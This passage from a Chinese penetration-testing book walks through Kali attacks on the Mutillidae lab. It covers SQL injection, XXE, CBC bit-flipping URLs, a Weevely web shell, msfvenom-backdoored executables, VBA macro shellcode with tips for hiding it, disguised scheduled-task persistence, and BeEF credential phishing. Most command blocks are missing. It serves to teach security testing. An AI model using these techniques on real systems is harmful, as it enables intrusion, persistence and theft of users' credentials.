一旦目标被映射，通过选择站点地图中的分支并使用Add to Scope命令来定义Target–Scope。一旦完成，你可以使用显示过滤器在站点地图上隐藏不感兴趣的项目。目标网站创建的站点地图如图7-10所示。

图7-10　目标网站创建的站点地图

一旦爬虫任务完成，手动检查目录和文件列表，找出任何不是公共网站的一部分的结构，或无意中公开出现的结构，例如，名为admin、backup、documentation或notes的目录，都应进行人工审查。

登录页面手动测试使用单引号作为输入，产生错误代码提示它可能是一个容易受到SQL注入攻击的漏洞，错误代码的返回样本如图7-11所示。

图7-11　返回错误代码

代理的真正优势在于其拦截和修改命令的能力。在本例中，我们将使用Mutillidae来实施绕过SQL注入认证的攻击，其中Mutillidae是我们在第1章构建虚拟实验室时安装的Web应用。

要发动这种攻击，确保Burp代理配置为拦截通信，转到Proxy栏，再选择Intercept（拦截）子选项卡。确保Intercept处于打开状态，如图7-12所示。准备工作完成后，打开浏览器窗口，并通过输入<IP address>/mutillidae/index.php?page=login.php访问Mutillidae登录页。输入用户名和密码，然后点击登录按钮。

图7-12　Burp 拦截的信息

如果你返回Burp代理，将会看到该用户输入到网页上的表格中的信息被截获。

单击Action按钮，并选择Send to Intruder（发送到入侵者）选项。如图7-13所示，打开主Intruder选项卡，你会看到4个子项：Target、Positions、Payloads和Options。

如果选择Positions，你会看到来自截获信息的5个有效负载的位置。

图7-13　Intruder选项卡

这种攻击将使用Burp代理的狙击手模式，从由测试者提供的列表中选取一个单一输入，同时，发送该输入到一个单一的有效负载位置。在这个例子中，我们的目标是username字段，它是基于返回的错误信息怀疑的漏洞所在。

定义有效负载的位置，我们选择子项的Payloads选项，如图7-14所示。

为了发动攻击，从顶部菜单选择Intruder，然后选择Start Attack。代理将对选定的有效负载位置如（合法的HTTP请求）遍历单词表，它将返回服务器的状态代码。

正如你可以在图7-15中看到的，大多数选项产生200（请求成功）状态代码。然而，一些数据返回的是302（请求找到，表明所请求的资源目前位于不同的URI下）状态代码。

图7-14　选择Payloads选项

图7-15　攻击返回的状态代码

出现302状态代码表示攻击成功，并且所获得的数据可以用来成功登录目标站点。

不幸的是，对Burp代理及其功能的概述实在太简单。Kali中的Burp免费版可以满足许多测试任务。然而，严谨的测试人员（和攻击者）应该考虑购买商业版本，提供具有报告能力的自动扫描器选项以及用于自动化任务的插件。

7.4.2　Web抓取和目录的暴力破解

Web抓取是一种使用机器人或自动化脚本从网站获取特定信息的过程。Kali为执行此活动提供了内置的应用程序。Web抓取的好处是可以抽取数据，而不必手工地逐个执行攻击。

攻击者可以利用WebSploit来执行Web扫描、抓取和分析。例如，为了在多个站点上识别phpmyadmin，攻击者可以通过在终端上运行WebSploit来配置WebSploit模块，输入use web/pma，使用set target victim来设置目标主机，运行后如图7-16所示。

图7-16　使用use web/pma

攻击者还可以使用OWASP、DirBuster和其他工具来执行相同的操作。

7.4.3　网络服务专用漏洞扫描器

漏洞扫描器是自动运行的应用程序，抓取应用以确定已知漏洞的签名。

Kali附带了几个预安装的漏洞扫描器。渗透测试人员通常会使用两个或三个全面扫描器对同一目标扫描，以确保有效的结果。需要注意的是一些漏洞扫描器也包括攻击的功能。

漏洞扫描器是很“嘈杂”的，并且经常被受害人检测到。然而，作为常规的后端活动，扫描经常被忽略。事实上，一些攻击者已经知道通过针对目标发动大规模扫描，以伪装真实的攻击，或者诱使防护者禁用检测系统，以减少他们必须管理的报告的数量。

一些重要的漏洞扫描器如表7-1所示。

表7-1　一些重要的漏洞扫描器

Kali还包括一些应用特定的漏洞扫描器。例如，WPScan是专门针对WordPress CMS应用的。

7.5　针对特定应用的攻击

针对特定应用的攻击，多于针对特定操作系统的攻击。当人们考虑到可能影响每个在线应用的错误配置、漏洞和逻辑错误时，任何应用程序都可以认为是“安全的”，这是令人惊讶的。

我们将重点介绍一些针对Web服务的重要攻击。

7.5.1　暴力破解访问证书

对网站或其服务最常见的初始攻击之一是针对访问认证的暴力破解攻击，猜测用户名和密码。这种攻击有很高的成功率，因为用户往往选择容易记住的凭据或重用凭据，并且系统管理员经常不控制多路访问尝试。

Kali配备了hydra（一个命令行工具）和hydra-gtk（它有一个GUI界面）。这两种工具允许测试人员暴力破解或遍历特定的服务可能的用户名和密码。支持多种通信协议，包括FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC等。

图7-17展示了hydra使用暴力破解攻击判定HTTP页面的访问证书：

图7-17　使用hydra进行攻击

7.5.2　注入

本节我们将简要介绍攻击者常用的注入攻击。

使用commix的OS命令行注入

命令行注入开发（commix）是一种用Python编写的自动化工具，在Kali Linux中预编译，如果应用能够被命令注入，则它可以执行各种OS命令。它允许攻击者在应用的特定漏洞部分，甚至在HTTP头中进行注入。

commix还在各种渗透测试框架中作为附加插件，如TrustedSec的渗透测试框架（Penetration Testers Framework，PTF）和OWASP的攻击Web测试框架（Offensive Web Testing Framework，OWTF）。

通过在终端中输入commix–h，攻击者可以使用commix提供的所有功能。

为了模拟使用commix的开发，我们将在有漏洞的Web服务器终端上执行如下命令：

当对目标URL运行commix工具时，渗透测试人员能够看到在目标服务器上执行命令的进度，以及漏洞的参数。在上述场景中，target_host是使用经典注入技术注入的漏洞，如图7-18所示。

一旦注入成功，攻击者就可以在服务器上运行命令，例如dir，列出所有的文件和文件夹，如图7-19所示。

SQL注入

网站最常见并且可利用的漏洞是注入漏洞，当受害者网站不监控用户输入，允许攻击者与后台系统进行交互时，将发生注入攻击。攻击者可以通过精心设计的输入数据以修改或从数据库窃取内容，将一个可执行文件放到服务器上，或向操作系统发出指令。

图7-18　使用target-host注入

图7-19　commix成功后使用dir命令列出所有的文件和文件夹

评估SQL注入漏洞最有用的工具之一是Sqlmap，它是一个Python工具，可以自动化Firebird、Microsoft SQL、MySQL（包括MariaDB）、Oracle、PostgreSQL、Sybase、SAP MaxDB数据库的侦察和利用。

我们将展示针对Mutillidae数据库的SQL注入攻击。第一步是确定Web服务器、后台数据库管理系统和可用的数据库。

启动一个虚拟机（如第1章所述），并访问Mutillidae网站。完成后，查看网页以确定一个接受用户输入的页面（例如，接受来自远程用户的用户名和密码的用户登录表单）。这些页面可能容易受到SQL注入攻击。

然后在命令提示符下打开Kali，并输入以下内容（使用相应的目标IP地址）：

Sqlmap返回的数据如图7-20所示。

图7-20　使用Sqlmap返回数据

最有可能用来存储应用程序数据的是mutillidae数据库。因此，我们将使用以下命令来检查数据库的所有表项：

执行上述命令后返回的数据如图7-21所示。

在所有被枚举的表中，其中一个表的标题是accounts（见图7-22）。我们将试图从该部分表中转储数据。如果成功，即使进一步的SQL注入攻击失败，该账号凭据也将使我们能够返回数据库。

图7-21　显示mutillidae数据库表项

为了转储凭据，请使用以下命令：

图7-22　获取表accounts的信息

类似的攻击可用于从数据库中提取信用卡账号或其他保密信息。

XML注入

如今，大量的Web应用使用了可扩展标记语言（Extensible Markup Language，XML），其定义了一系列编码规则，使得人和机器都容易理解。XML注入利用XML应用或服务的逻辑漏洞，向XML结构或内容中注入攻击信息。

这一节我们将学习如何实施XML注入，以及如何利用开发者遗留的典型错误配置获取底层操作系统的访问权限。

根据以下步骤可以确定是否可以发起XML注入攻击：

1.进入http:/Your IP/mutillidae/index.php?page=xml-validator.php页面，如图7-23所示。

图7-23　XML注入首页

2.在表格中输入以下命令，查看能否获得有效响应：

如图7-24所示，上述代码应该显示“Hello”作为响应。

3.如果服务器没有响应错误信息，则意味着系统可能存在XML注入漏洞。

4.然后，创建一个负载，将SYSTEM加入变量，并调用一个本地文件：

如图7-25所示，攻击成功后，你可以看到该本地文件的内容。

攻击者还可能通过获取整个系统的直接访问权限来进行PowerShell攻击。

图7-24　响应“Hello”

图7-25　获取本地文件的内容

位翻转攻击

大部分攻击者不太关注密码类的攻击，因为比较费时，并且需要大量算力破解密文以获取有用信息。但在某些情况下，密码学实现的逻辑比较容易理解。

本节我们将学习位翻转（bit-flipping）攻击，其利用密码分块链（Cipher Block Chain，CBC）模式加密给定的明文。如图7-26所示，在CBC模式中，在加密一个分块前，通过创建一个分块逻辑链，明文会与上一个分组的加密输出结果进行异或（XOR）。

图7-26　CBC模式

简而言之，异或比较两个值，不同则返回真（true）。

这里潜在的攻击场景是什么呢？如果明文分块都要与前一个分块的加密信息进行异或，那么第一个分块的异或输入是什么呢？这里就需要一个初始向量。访问mutillidae导航到OWASP 2017>A1-Injection(Other)>CBC bit flipping：

测试人员可以看到如图7-27所示的画面。

图7-27　CBC bit flipping页面

正如我们所看到的，当前运行应用的用户的用户ID和组ID分别都是100。你需要做的是成为组000中的用户000以变为高权限的root用户。

我们唯一要做的就是修改初始向量值6bc24fc1ab650b25b4114e93a98f1eba。这是一个32个字符长度的十六进制数，即二进制长度为128位。然后，我们开始评估初始向量，通过依次访问将值分为两个字符一个分块，并改变URL中的值。

·http://192.168.0.101/mutillidae/index.php?page=view-user-privilege-level.php&iv=00c24fc1ab650b25b4114e93a98f1eba:不改变用户和组的ID。

·http://192.168.0.101/mutillidae/index.php?page=view-user-privilege-level.php&iv=6b004fc1ab650b25b4114e93a98f1eba:不改变用户和组的ID。

如图7-28所示，在第5个分组6bc24fc100650b25b4114e93a98f1eba时，我们可以看到用户的ID发生了改变。

测试者可以利用Python生成十六进制值，如下所示。我们将异或该值以获得结果000：

图7-28　用户ID发生改变

为了变成root用户，用户ID和组ID都需要为000，所以我们在所有分块重复上面的过程，直到值发生改变。最后，在第8个分块6bc24fc1ab650b14b4114e93a98f1eba时，组ID发生了改变。然后进行类似于用户ID的处理：

然后我们得到了如下结果：6bc24fc1aa650b24b4114e93a98f1eba。如图7-29所示，利用新的值替换初始向量，你应该就可以提升权限访问应用。

使用Web Shell维持访问

一旦入侵一台Web服务器及其服务，最重要的任务就是确保可以维持安全访问。这通常借助于一个Web Shell小程序来提供隐身后门访问，并允许使用系统命令，以方便进行后期利用活动。

Kali附带了几个Web Shell。在这里，我们将使用流行的PHP Web Shell小程序Weevely。

要了解其他技术，可以访问http://webshell-archive.org/。

图7-29　提升权限

Weevely模拟一个远程会话，并允许测试人员或攻击者利用30多个模块进行后期开发利用，包括以下优势：

·浏览目标文件系统。

·从受感染的系统进行文件传输。

·对通用服务器错误配置执行审计。

·通过目标系统暴力破解SQL账户。

·产生逆向TCP外壳。

·在已被侵入的远程系统上执行命令，即使已应用PHP的安全性限制。

最后，Weevely努力隐藏HTTP cookie中的通信以逃避检测。要创建Weevely，在命令提示符输入以下命令：

这将在路径root目录下创建filename.php文件。执行weevely的结果如图7-30所示。

图7-30　执行Weevely的结果

导航到OWASP 2017>A6-security misconfiguration>unrestricted file upload。我们将利用mutillidae的文件上传漏洞。如图7-31所示，上传我们用weevely创建的filename.php文件到网站。

图7-31　上传filename.php文件

要与Web Shell进行通信，在命令提示符输入以下命令，确保目标的IP地址、目录和密码变量被改变，以反映出那些被感染的系统：

在图7-32所示的例子中，利用whoami命令（指明当前系统），我们已经验证连接到了Web Shell。

图7-32　利用whoami命令

Web Shell也可以用来建立一个反向外壳，连接回测试者，使用netcat或Metasploit框架作为本地监听器。这也可用以通过水平或垂直逐步提升特权来进一步攻击网络内部。

7.6　小结

在本章中，我们从攻击者的视角审视了Web应用及其提供的用户授权服务。我们应用了杀链的视角到Web应用和其服务，以理解侦察和漏洞扫描的正确使用。

本章介绍了以下几种技术：首先我们关注黑客攻击Web应用时的思维导图，以及对Web应用进行渗透测试所使用的方法。然后，我们学习了如何使用客户端代理完成各种攻击，还学习了一系列暴力破解网站的工具，并通过Web应用介绍了操作系统级命令。

最后我们介绍了一种特定于Web服务的Web Shell检查。

在第8章中，我们将学习如何识别和攻击连接用户到Web服务的客户端漏洞，以及如何提升权限以实现这一目标。

第8章　客户端利用

本章我们将学习直接针对客户端应用程序的攻击策略。用户发动与客户端应用程序的交互，允许攻击者利用用户和应用程序之间的现有信任优势。社会工程学方法的使用也将提高客户端攻击成功的可能性。

客户端攻击的目标系统通常是缺乏安全控制装置（尤其是防火墙和入侵检测系统）的企业系统。如果这些攻击成功，并且建立了持久稳定的通信，那么一旦客户端设备重新连接到该目标网络上，攻击者就可以用它发起攻击。

通过本章的学习，你将学会如何使用下面的方法（工具）攻击客户端应用程序。

·后门可执行文件。

·执行恶意脚本攻击（CScript、VBScript和PowerShell）。

·利用浏览器开发框架（Browser Exploitation Framework，BeEF）。

·在渗透测试期间，配置跨站点脚本框架（Cross Site Scripting Framework，XSSF）。

8.1　留后门的可执行文件

留后门是一种绕过正常的安全验证、维护持续访问该系统的方法。任何网络间谍活动中，最薄弱的环节是人为因素。攻击者通常会利用最近已知或未知的漏洞，将它们嵌入受信任的可执行文件中，并且分发出去。在本节中，我们将深入探讨如何利用msfvenom在任何可执行文件中植入后门。

msfvenom是使用Metasploit msfpayload和msfencode的独立负载发生器。截至2015年6月8日，msfvenom已经取代了msfpayload。引入该工具是为了使其标准化，并对渗透测试人员更有效。它是由Kali Linux默认安装的，当你在终端输入msfvenom-h，则必定会出现以下信息（见图8-1）。

图8-1　执行msfvenom-h截图

以下命令将创建一个clone_file.exe可执行文件，其包括一个带有你的IP地址的reverse_tcp负载。

使用-p选项允许测试人员选择他们需要的负载以嵌入-k选项。我们将通过创建另一个线程来克隆可执行文件的行为。换句话说，它将克隆程序并插入reverse_tcp负载。-x选项复制具有相同特性的可执行模板。

一个例子是，下载任何便携式程序。在本例中，我们将使用plink.exe制作game.exe，如图8-2所示。

图8-2　使用plink.exe

攻击者可以利用编码器使攻击更有效。在本例中，我们将通过以下命令使用shikata_ga_nai：

最后，将创建一个具有正确有效负载和体系结构的编码文件，如图8-3所示。

图8-3　使用shikata_ga_nai的截图

一旦可执行文件准备完成，你就可以应用社会工程学技术找到不同的方法交付文件，或者让用户直接从你选择的位置下载。

在一切顺利完成后，攻击者将设置其系统以监听任何连接。在渗透测试期间，在不退出Metasploit控制台的情况下，重写有效负载、调回IP地址和端口号，以及停止后台会话都不太可行。可以按照如下步骤通过一个简单的metasploit脚本来完成配置：

1.用以下特定于Metasploit的命令创建一个文件。在我们的例子中，将该文件命名为Listen：

2.创建脚本后，只需在终端中使用以下命令运行脚本文件：

3.一旦受害者打开可执行文件，就会在攻击者的控制台生成一个反向shell，如图8-4所示。

图8-4　攻击者控制台反向shell

4.一旦系统建立了一个成功的Meterpreter会话，攻击者就可以通过输入sessions-i 1连接到会话，建立对系统全面的访问。

sessions-i 1这个数字可能根据有多少个目标打开可执行文件，并与攻击者建立反向shell会话而发生变化。

8.2　使用恶意脚本攻击系统

客户端脚本（如JavaScript、VBScript、PowerShell）被开发用于将应用程序逻辑和操作从服务器移动到客户端的计算机上。从攻击者或测试人员的角度来看，使用这些脚本有以下几个优势：

·大多数.com类型的网站都使用JavaScript作为主要的脚本语言。

·它们已经是目标原始操作环境的一部分，攻击者不需要传输大型编译器或其他辅助文件（如加密软件）到目标系统。

·脚本语言设计的目的是便于计算机操作，如配置管理和系统管理等。例如，它们可以用来发现和更改系统配置、访问注册表、执行程序、接入网络服务和数据库，并通过HTTP或电子邮件传输二进制文件。这样的标准脚本操作可以很容易地为测试人员所使用。

·因为它们原生于该操作系统环境，所以它们通常不会触发防病毒警报。

·它们很容易被使用，因为编写该脚本仅需要一个简单的文本编辑器。使用脚本发起攻击毫无障碍。

从历史上看，JavaScript是用来发动攻击的首选脚本语言，因为JavaScript广泛用于大多数目标系统。由于JavaScript攻击的特点已经众所周知，我们将重点关注Kali如何使用更新的脚本语言：VBScript和PowerShell，使攻击变得容易。

8.2.1　使用VBScript进行攻击

可视化基本编辑脚本（Visual Basic Scripting，VBScript）是一个由微软开发的活动脚本语言（Active Scripting language）。它被设计成一种轻量级、可以执行小程序的Windows原生语言。自Windows 98以来，VBScript就被默认安装在Microsoft Windows发布的每一个桌面版本中，这使它成为客户端攻击的首选目标。在2018年8月，一个广为人知的高级持续性威胁（Advanced Persistent Threat，APT）利用了微软Windows中的VBScript引擎，它名为DarkHotel（Dark Seoul malware），利用的是IE11.0中的一个特定漏洞。

要使用VBScript发起攻击，我们将从命令行中调用msfpayload：

注意，-f指定输出为一个VBA可执行文件。输出将显示为两个特定部分的文本文件，如图8-5所示。

图8-5　调用msfpayload

要使用该脚本，打开Microsoft Office文档，并创建一个宏（具体命令将取决于使用的Microsoft Windows版本）。从下面给出的信息框中，复制文本的第一部分（从Sub Auto_Open()到最后的End Sub语句）到宏编辑器，并启用宏将其保存：

接下来，复制shellcode到实际的文档中。shellcode的部分摘录如图8-6所示。

图8-6　shellcode部分摘录

shellcode被看作一个可用于执行攻击的脚本，所以你可能希望通过最小化字体大小和匹配文档背景颜色等方式，来隐藏或混淆shellcode。

攻击者必须在Metasploit上设置一个监听器。在命令提示符下输入msfconsole后，攻击者通常会输入以下命令并设置主机、端口和负载等选项。此外，攻击者将配置连接自动转移到更稳定的explorer.exe进程，如下命令行所示：

把上述各行加入一个文件中，命名为vbexploit.rc，然后运行下面的命令：

当文件发送到目标，一旦被打开，目标就会弹出安全警告。因此，攻击者将使用社会工程学迫使预定的受害者选择Enable（启用）选项。最常见的方法之一就是在已配置的Microsoft Word文档或Excel电子表格中嵌入宏用来运行程序。

启动该文件将创建一个反向的TCP。shell到攻击者，允许攻击者用于维持与目标的持久稳定连接，并执行随后的后期利用活动。

为了扩展这种攻击方法，我们可以使用位于/usr/share/metasploit-framework/tools/exploit下的exe2vba，或直接在命令行输入msfexe2vba，将任何可执行文件转换成VBScript。

在本例中，我们将使用之前创建的同样的.exe。例如，首先使用Metasploit框架创建一个后门。注意，X表示后门，将作为可执行文件（attack.exe）被创建，如图8-7所示。

图8-7　使用Metasploit创建后门

接下来，使用以下命令执行exe2.vba，把可执行文件转换成VBScript（确保使用了正确的路径）：

这允许将可执行文件放置在微软的启用了宏的文档中，并发送给客户端。VBScript可用于执行反向shell和更改系统注册表，以确保shell保持持久稳定性。我们发现这种类型的攻击是绕过网络安全控制最有效的方法之一，并可用于维持到一个安全的网络的连接。

从攻击者的角度来看，使用基于VBScript（曾经是一个强大的工具）的利用有一些显著的优势。但是，它正在迅速被一个更强大的脚本语言PowerShell所取代。

8.2.2　使用Windows PowerShell攻击系统

Windows PowerShell是一个用于系统管理的命令行shell及脚本语言。基于.NET框架，它扩展了VBScript的可用功能。该语言本身很容易扩展，因为它构建在.NET库之上，你可以从C#或者VB.NET语言合并代码。你也可以利用第三方库。除了具有扩展性外，它还是一种简洁的语言。仅用10行PowerShell代码就可完成100多行的VBScript代码所实现的功能！

也许，PowerShell最好的特性是在大多数基于Windows的现代操作系统（Windows 7及更高版本）中默认可用，且不能被删除。

为了发起攻击，我们将使用Metasploit框架的PowerShell Payload Web Delivery模块。该模块的目的是在目标系统上快速建立会话。该攻击不写入磁盘，因此几乎不可能触发客户端防病毒检测。发起攻击和可用模块的选项如图8-8所示。

图8-8　Metasploit框架的模块选项

在攻击完成之前，攻击者必须为即将传入的shell脚本准备一个监听器（URIPATH由Metasploit随机生成，确保已为监听器设置了正确的URIPATH）。创建监听器的命令如下所示：

Metasploit框架将生成一个一行的Python脚本，可嵌入文档或者在目标上运行，如图8-9所示。

图8-9　生成Python脚本

一个成功的攻击将在攻击者的系统上创建一个交互式的有限shell。

使用schtask命令让web_delivery持久稳定是可行的。

以下命令将创建一项预定任务：GoogleUpdate，其登录系统后将执行powershell.exe（默认情况下，位于Windows\system32目录下）：

其他旨在支持后期利用活动的PowerShell脚本，可以在Kali的PowerSploit目录中找到。尽管PowerShell有很好的灵活性，但仍具有不足之处。

例如，如果包含宏的文件被终端用户在一个持久机制应用之前关闭，则连接丢失。

更重要的是，VBScript和PowerShell脚本只在微软环境中有用。为了扩展客户端的攻击范围，我们需要寻找一个可以被利用的通用客户端漏洞，而不用考虑其操作系统环境。这种漏洞的一个具体实例是跨站点脚本。

8.3　跨站点脚本框架

跨站点脚本（Cross-Site Scripting，XSS）漏洞是能在网站上找到的最常见的可利用漏洞。由于缺乏输入数据清理，XSS漏洞普遍存在。

XSS攻击涉及三个实体：攻击者、受害者、脆弱网站或Web应用程序。攻击产生的本质原因在于脆弱网站的一个HTML页面上有一个可以返回用户输入的脚本，而该脚本并不对用户的输入进行任何审查。这就使得攻击者可以在其中输入JavaScript代码，并由受害者的浏览器执行。因此，有可能构造一个指向该脆弱网站的链接，该链接中的一个参数就是恶意JavaScript代码。这个JavaScript代码将在打开的脆弱网站环境中由受害者的浏览器执行，使攻击者访问到受害者关于脆弱网站的cookie。

至少有两个主要类型的XSS漏洞：非持久的（non-persistent）和持久的（persistent）。

最常见的类型是非持久的或反映出的漏洞。当由客户端提供的数据被服务器直接使用并显示响应时，这些漏洞将会产生。此种漏洞的攻击，可以通过电子邮件，或第三方网站提供一个似乎值得信赖，但包含XSS攻击代码的URL而发生。如果受信站点很容易受到这种特定的攻击，那么执行链接可能导致受害者的浏览器执行恶意脚本，从而被破解。

持久的（存储）XSS漏洞出现在当攻击者提供的数据被服务器保存，然后在他们浏览网页的过程中，永久地显示在其信任的网页中时。这通常发生在网上留言板和博客中，这里允许用户发布HTML格式的消息。攻击者可以将恶意脚本放入网页，其对进入的用户是不可见的，但可以入侵受影响网页的访客。

一些Kali Linux上现有的工具可以找到XSS漏洞，包括xsser和各种各样的漏洞扫描器。然而，也有一些工具可以让测试人员充分利用XSS漏洞，并展示该漏洞的严重性。

跨站点脚本框架（Cross-Site Scripting Framework，XSSF）是一个多平台的安全工具，其利用XSS漏洞在目标上创建通信通道，并支持以下攻击模块：

·对目标浏览器（指纹和以前访问的URL）、目标主机（检测虚拟机，获取系统信息，注册密钥和无线密钥）和内部网络进行侦察。

·发送弹出的警报消息到目标系统。这种简单的“攻击”可用来展示XSS漏洞，然而，更复杂的警报可以模拟登录提示和捕获用户的身份认证凭据。

·窃取cookie，使攻击者能够冒充目标。

·重定向目标来查看不同的网页。一个恶意的网页可以自动下载漏洞，并且利用到目标系统上。

·加载PDF文件或Java小程序到目标系统上，或者窃取数据，如从安卓移动设备中窃取SD卡的内容。

·发动Metasploit攻击，包括browser_autopwn，以及拒绝服务攻击。

·发动社会工程学攻击，其中包括自动完成盗窃、点击劫持（clickjacking）、假Flash更新、网络钓鱼和标签绑架等。

此外，XSSF隧道（XSSF Tunnel）功能允许攻击者冒充受害者，使用他们的凭据浏览网页与会话。这可能是一种访问企业内部局域网的有效方法。

使用XSSF支持一个攻击，必须先完成安装和配置，具体步骤如下：

1.下载https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2008/XSSF-3.0.zip。

2.使用unzip XSSF-3.0命令解压下载文件。

3.将XSSF-3.0中的所有文件移到/usr/share/metasploit-framework/中。

4.确认你没有覆盖文件与文件夹，你必须选择Merge，如图8-10所示。

图8-10　使用Merge

5.从Metasploit框架控制台，使用load xssf加载XSSF插件，接着使用xssf_urls命令，结果如图8-11所示。

图8-11　使用xssf_urls命令

6.我们将使用Web应用漏洞——Mutillidae，来演示XSSF。打开Mutillidae后，导航到博客页面，如图8-12所示。

图8-12　应用Mutillidae

7.为了对目标客户发起攻击，不要定期发布到博客，而是输入包含目标URL和端口的脚本元素：

8.图8-13显示了攻击代码在目标网站的博客页面中的位置。

图8-13　包含恶意代码的博客页面

当这些代码被输入且受害者点击Save Blog Entry（保存博客条目）时，他们的系统将被侵入。从Metasploit框架的控制台，测试人员可以使用xssf_victims和xssf_information命令获取每个受害者的信息。在执行xssf_victims命令后，每个受害者的信息均被显示，如图8-14所示。

图8-14　显示受害者信息

如图8-15所示，Metasploit提供了关于浏览器、操作系统和设备的33个不同XSSF模块。这使得攻击者可以根据目标实施多种攻击。

最常见的XSS攻击就是发送一个简短而相对无害的消息或向客户端报警。使用Metasploit框架可以相对简单地实现，输入以下命令：

图8-15　XSSF模块

审查选项之后，警报可以迅速通过命令行发送，如图8-16所示。

图8-16　受害者看到消息

一般来说，大多数测试人员和他们的客户使用这种简单的警告消息验证跨站点脚本。这证明了一个“漏洞”的存在。

然而，简单的警报缺乏情绪的影响。通常情况下，它们确定的是一个真正的漏洞，但客户并不响应和处理该漏洞，因为警报消息不被认为是一个显著的威胁。幸运的是，XSSF允许测试人员“加码”，并演示更复杂、更危险的攻击。

XSSF可以用来窃取cookie，作为一个键盘记录程序，执行伪造跨站点请求（CSRF），重定向攻击，还可以捕获摄像头图片。然而，类似的攻击也可以通过BeEF实现。

8.4　浏览器利用框架——BeEF

BeEF（Browser Exploitation Framework）是一种攻击工具，专注于一个特定的客户端应用程序：Webbrowser。BeEF允许攻击者使用XSS注入或SQL注入等攻击，将JavaScript代码注入脆弱的HTML代码。这种攻击代码称为钩（hook）。破解是由浏览器执行钩时实现的。浏览器（僵尸）连接回BeEF应用程序，其提供给浏览器JavaScript命令或模块。

BeEF的模块执行如下任务：

·指纹识别和破解的浏览器的侦察。它也可以作为一个平台，用来评估在不同浏览器上的攻击和它们的行为。

需要注意的是，BeEF允许我们在同一客户端，以及在一个域内的多个客户端上钩住多个浏览器，并在利用和后期利用阶段管理它们。

·指纹识别目标主机，包括存在的虚拟机。

·在客户端上检测软件（仅限IE），并获得Program Files和Program Files（x86）目录里的目录列表。这可以识别其他可以被利用的应用程序，以维持我们在客户端上的状态。

·使用已破解系统的网络摄像头拍摄照片，这些照片在报告中有重要的影响。

·对受害者的数据文件进行搜索，并窃取可能包含身份验证凭据的数据（剪贴板中的内容和浏览器的cookie）或其他有用信息。

·实现浏览器键击记录。

·使用ping扫描和指纹机制对网络设备进行网络侦察，并扫描开放端口。

·从Metasploit框架发动攻击。

·使用隧道代理扩展，利用已破解Web浏览器的安全权限，攻击内部网络。

因为BeEF是用Ruby编写的，它支持多种操作系统（Linux、Windows和macOS）。更重要的是，很容易定制新模块以及扩展其功能。

配置BeEF

BeEF默认安装在Kali发行版的/usr/share/beef-xss目录下。在默认情况下，BeEF没有集成到Metasploit框架中。要集成BeEF，则需要执行以下步骤：

1.编辑位于/usr/share/beef-xss/config.yaml的主要配置文件，如下：

2.编辑位于/usr/share/beef-xss/extensions/metasploit/config.yml的文件。你需要为Metasploit框架编辑路径行host、callback_host、os'custom'以包含你的IP地址和位置。一个正确编辑后的config.yml文件如图8-17所示。

图8-17　正确编辑的config.yml文件

3.开启msfconsole，并加载msgrpc模块，如图8-18所示。确保已包含密码。

图8-18　加载msgrpc模块

4.使用以下命令启动BeEF：

5.如果消息显示成功连接到Metasploit（Successful connection with Metaspliot），同时显示Metasploit攻击已经加载，说明BeEF启动成功。成功启动后的消息如图8-19所示。

当你重启BeEF时，可用-x开关复位该数据库。

在这个例子中，BeEF服务器运行在192.168.213.128，并且“钩URL”（我们希望激活的目标）为192.168.213.128：3000/hook.js。

BeEF的大部分管理和维护是通过Web界面完成的。要访问控制面板，首先访问http://<IP Address>：3000/ui/panel。

图8-19　BeEF启动成功

默认的登录凭据是Username：beef和Password：beef，如图8-20所示，除非这些在config.yaml做了更改。

图8-20　BeEF登录界面

8.5　BeEF浏览器

当BeEF控制面板启动时，它将显示开始（Getting Started）界面，包含到在线网站的链接，以及可用于验证各种攻击的演示页面。如图8-21所示。

图8-21　BeEF控制面板

如果你已经钩到一个受害者，则界面将被分为两个面板：

·面板的左侧是钩到的浏览器（Hooked Browsers），测试人员可以看到每一个连接的浏览器，列出了有关其主机操作系统的信息，还有浏览器类型、IP地址，以及安装的插件。因为BeEF设置了一个cookie来识别受害者，它可以参考这些信息来保持一个一致的受害者列表。

·面板的右侧是已被启动的所有动作，以及获得的结果。在Commands选项卡中，我们看到一个不同攻击向量的分类存储库，可针对钩到的浏览器使用。此视图根据不同的浏览器类型和版本而有所不同。

BeEF采用颜色编码方案，区分针对特定的目标可用的基础命令。使用的颜色如下：

·绿色（Green）：表示该命令模块针对目标工作，且受害者不可见。

·橙色（Orange）：表示该命令模块针对目标工作，但它可能被受害者检测到。

·灰色（Gray）：表示该命令模块尚未在目标上得到验证。

·红色（Red）：表示该命令模块在目标上不工作。它可以被使用，但不能保证成功，并且其使用可能被目标检测到。

必须对这些指标持怀疑态度，因为客户端环境的变化可能使一些命令失效，或可能导致其他意想不到的结果。

要启动一个攻击或钩一个受害者，我们需要让用户点击钩URL，其形式如<IP ADDRESS>：<PORT>/hook.js。这可以通过使用各种手段来实现，其中包括：

·最初的XSS漏洞。

·中间人攻击（尤其是那些使用ARP欺骗工具BeEF Shank，专门针对内部网络中内部站点的攻击）。

·社会工程学攻击，包括BeEF网络克隆工具和大量电子邮件发送器，由假冒的iFrame定制的钩点，或二维码生成器。

一旦浏览器被钩住，它将被称为僵尸。从命令界面左侧的Hooked Browsers面板上选择该僵尸的IP地址，然后参考可用命令。

在图8-22所示的例子中，有几种不同的攻击和管理选项可用于钩住的浏览器。最简单的攻击选项之一是使用社会工程学Clippy攻击。

图8-22　Clippy攻击

当Clippy从Commands下的Module Tree被选中时，一个具体的Clippy面板在最右侧启动，如图8-22所示。它允许你在受害者点击了提供的链接后，可以本地调整图像、要交付的文本和将发动的可执行文件。在默认情况下，自定义文本会通知受害者他们的浏览器已过期，为他们提供更新，下载可执行（无恶意的）文件，然后感谢执行升级的用户。所有这些选项都可以由测试人员更改。

当执行Clippy时，受害者将在浏览器上看到一条消息，如图8-23所示。

这是一个非常有效的社会工程学攻击。在实际测试中，成功率接近70%（客户端下载一个无恶意的指示文件）。

一个更有趣的攻击是Pretty Theft，它要求用户提供其流行网站的用户名和密码。例如，测试人员可以配置关于Facebook的Pretty Theft选项，如图8-24所示。

图8-23　Clippy攻击中受害者看到的信息

图8-24　Pretty Theft选项

当执行攻击时，向受害者呈现一个似乎合法的弹出窗口，如图8-25所示。

图8-25　受害者看到的要求输入Facebook密码的界面

在BeEF中，测试人员查看该攻击的历史记录，可以在Command results列的data字段中获得用户名和密码，如图8-26所示。

